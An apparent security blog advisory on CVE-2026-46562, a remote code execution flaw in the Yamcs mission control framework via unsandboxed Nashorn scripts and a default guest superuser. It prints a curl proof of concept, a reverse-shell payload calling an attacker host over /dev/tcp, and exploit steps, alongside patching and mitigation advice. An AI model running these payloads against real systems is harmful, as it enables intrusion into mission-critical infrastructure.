Listen to this Post
How CVE-2026-46562 Works
Yamcs is a mission control framework used in space operations and other critical infrastructure. Prior to versions 5.12.7 and 5.13.0, the platform contained a critical remote code execution vulnerability stemming from improper sandboxing of user-supplied JavaScript.
The flaw resides in the `ScriptAlgorithmExecutorFactory.java` class within the `yamcs-core` module. When a user defines or updates a mission database algorithm via the `MdbOverrideApi.updateAlgorithm` endpoint, the system evaluates the algorithm’s logic using the Nashorn ScriptEngine – Java’s built-in JavaScript engine.
Critically, the `NashornScriptEngineFactory.getScriptEngine()` method was invoked without a ClassFilter. In Nashorn, a `ClassFilter` is an optional security control that restricts which Java classes can be accessed from JavaScript via the `Java.type(…)` bridge. Without this filter, the JavaScript engine has full, unrestricted access to the entire Java runtime classpath.
An attacker with the `ChangeMissionDatabase` privilege can therefore supply a malicious algorithm containing JavaScript that instantiates arbitrary Java classes. For example, calling `Java.type(“java.lang.Runtime”).getRuntime().exec(…)` allows the attacker to execute arbitrary operating system commands with the same privileges as the Yamcs process itself.
The impact is magnified by Yamcs’s default configuration. Out-of-the-box, Yamcs does not ship with a `security.yaml` file. In this default state, the built-in `guest` user is assigned superuser=true, meaning the `guest` account possesses all system privileges – including ChangeMissionDatabase. Consequently, an unauthenticated attacker can simply log in as `guest` (which requires no password by default) and exploit this vulnerability to achieve full remote code execution on the server.
The vulnerability was introduced because no `ClassFilter` was ever applied to the script engine since the algorithm override endpoint was first implemented. All Yamcs releases prior to 5.12.7 are affected. The issue is addressed in versions 5.12.7 and 5.13.0, which disable algorithm editing by default, effectively removing the attack surface until an administrator explicitly enables it with proper security controls in place.
DailyCVE Form:
Platform: Yamcs Core
Version: < 5.12.7
Vulnerability: Unauthenticated RCE
Severity: Critical (9.8)
date: 2026-07-16
Prediction: Patch already released
What Undercode Say:
Analytics & Technical Deep-Dive
The vulnerability chain is straightforward:
- Prerequisite: Default configuration (
no security.yaml) → `guest` user hassuperuser=true. - Attack Vector: `POST /api/mdb/{instance}/algorithms/{algorithmName}` with malicious JavaScript in the `algorithmText` field.
- Execution: Nashorn evaluates the script without a
ClassFilter, allowingJava.type("java.lang.Runtime").getRuntime().exec(...). - Result: OS command execution as the Yamcs process user.
Proof-of-Concept (bash + cURL):
1. Authenticate as the default guest user (no password required)
curl -X POST "http://target-yamcs:8090/api/auth/login" \
-H "Content-Type: application/json" \
-d '{"username":"guest","password":""}'
2. Extract the session cookie from the response (e.g., JSESSIONID)
3. Override an existing algorithm or create a new one with malicious payload
curl -X PUT "http://target-yamcs:8090/api/mdb/myinstance/algorithms/malicious_algo" \
-H "Content-Type: application/json" \
-H "Cookie: JSESSIONID=..." \
-d '{
"name": "malicious_algo",
"type": "SCRIPT",
"algorithmText": "var Runtime = Java.type(\"java.lang.Runtime\"); Runtime.getRuntime().exec(\"id > /tmp/pwned.txt\");",
"outputType": "string"
}'
3. Trigger the algorithm (e.g., via a parameter or telemetry stream) to execute the command
The command "id" will write its output to /tmp/pwned.txt on the server
Alternative Payload (Reverse Shell):
var Runtime = Java.type("java.lang.Runtime");
var Process = Runtime.getRuntime().exec(
"bash -c 'exec bash -i &>/dev/tcp/attacker-ip/4444 <&1'"
);
Code Snippet (Vulnerable Class):
// yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java
public class ScriptAlgorithmExecutorFactory implements AlgorithmExecutorFactory {
@Override
public AlgorithmExecutor createExecutor(AlgorithmDef algoDef) {
// Vulnerable: No ClassFilter passed to getScriptEngine()
ScriptEngine engine = new NashornScriptEngineFactory().getScriptEngine();
// ... later evaluates user-supplied algorithmText
engine.eval(algoDef.getAlgorithmText());
}
}
Patch Diff (Conceptual):
- ScriptEngine engine = new NashornScriptEngineFactory().getScriptEngine(); + ScriptEngine engine = new NashornScriptEngineFactory().getScriptEngine( + (clazz) -> false // or whitelist specific safe classes + ); + // Additionally, algorithm editing is now disabled by default in application.yaml + mdb: + allowAlgorithmOverride: false
Exploit:
To exploit this vulnerability, an attacker must:
- Identify a reachable Yamcs instance (typically port 8090).
- Authenticate – in default deployments, simply use the `guest` account with an empty password.
- Craft a malicious algorithm containing JavaScript that leverages Nashorn’s `Java.type` to access `java.lang.Runtime` or other dangerous classes.
- Send a PUT request to `/api/mdb/{instance}/algorithms/{algorithmName}` with the payload in
algorithmText. - Trigger the algorithm – this can be done by:
– Referencing the algorithm in a parameter or stream definition.
– Calling the algorithm via the API (if exposed).
– Waiting for the algorithm to be executed as part of normal mission data processing.
6. Achieve remote code execution with the privileges of the Yamcs process (typically root or a high-privilege service account in many deployments).
Automation: The entire chain can be scripted in a single bash/python script, making it trivially exploitable in default configurations. Public exploits are expected to emerge rapidly given the simplicity of the payload and the default credentials.
Protection:
- Upgrade Yamcs to version 5.12.7 or 5.13.0 immediately. These versions disable algorithm editing by default and introduce the necessary `ClassFilter` restrictions.
- If upgrading is not possible immediately:
- Disable the `MdbOverrideApi` endpoint by setting `mdb.allowAlgorithmOverride: false` in
application.yaml. - Remove or restrict the `guest` user – either delete the guest account or set a strong password and do not grant it
superuser=true. - Implement a `security.yaml` configuration that enforces proper role-based access control (RBAC). Ensure that only trusted users have the `ChangeMissionDatabase` privilege.
- Apply network-level controls – restrict access to the Yamcs API (port 8090) to only trusted IP ranges or use a VPN.
- Monitor logs for suspicious algorithm creation or modification events (look for `MdbOverrideApi.updateAlgorithm` calls with unusual `algorithmText` content).
- Long-term: Consider using a more secure scripting engine (e.g., GraalVM with proper sandboxing) or avoid allowing user-supplied JavaScript altogether. If scripting is required, enforce strict allowlists for accessible Java classes.
Impact:
- Confidentiality: An attacker can read any file on the server, including mission-critical telemetry, configuration files, and credentials.
- Integrity: The attacker can modify or delete mission data, alter algorithms, inject false telemetry, or corrupt the mission database.
- Availability: The attacker can shut down the Yamcs process, crash the system, or consume all system resources, leading to denial of service.
- Lateral Movement: With code execution on the Yamcs server, the attacker can pivot to other systems within the mission control network, potentially compromising ground stations, satellite command links, or other infrastructure.
- Supply Chain Risk: If the Yamcs instance is part of a larger CI/CD pipeline or development environment, the attacker could inject backdoors into mission software or artifacts.
- CVSS Score: 9.8 (Critical) – the combination of unauthenticated access (in default config) and full remote code execution makes this a maximum-severity vulnerability.
Real-World Context: Yamcs is used in space missions, satellite operations, and research facilities. A successful exploit could allow an adversary to issue unauthorized commands to spacecraft, disrupt live missions, or exfiltrate sensitive orbital data. This is not a theoretical risk – it is a direct pathway from the public internet to the heart of mission control systems.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
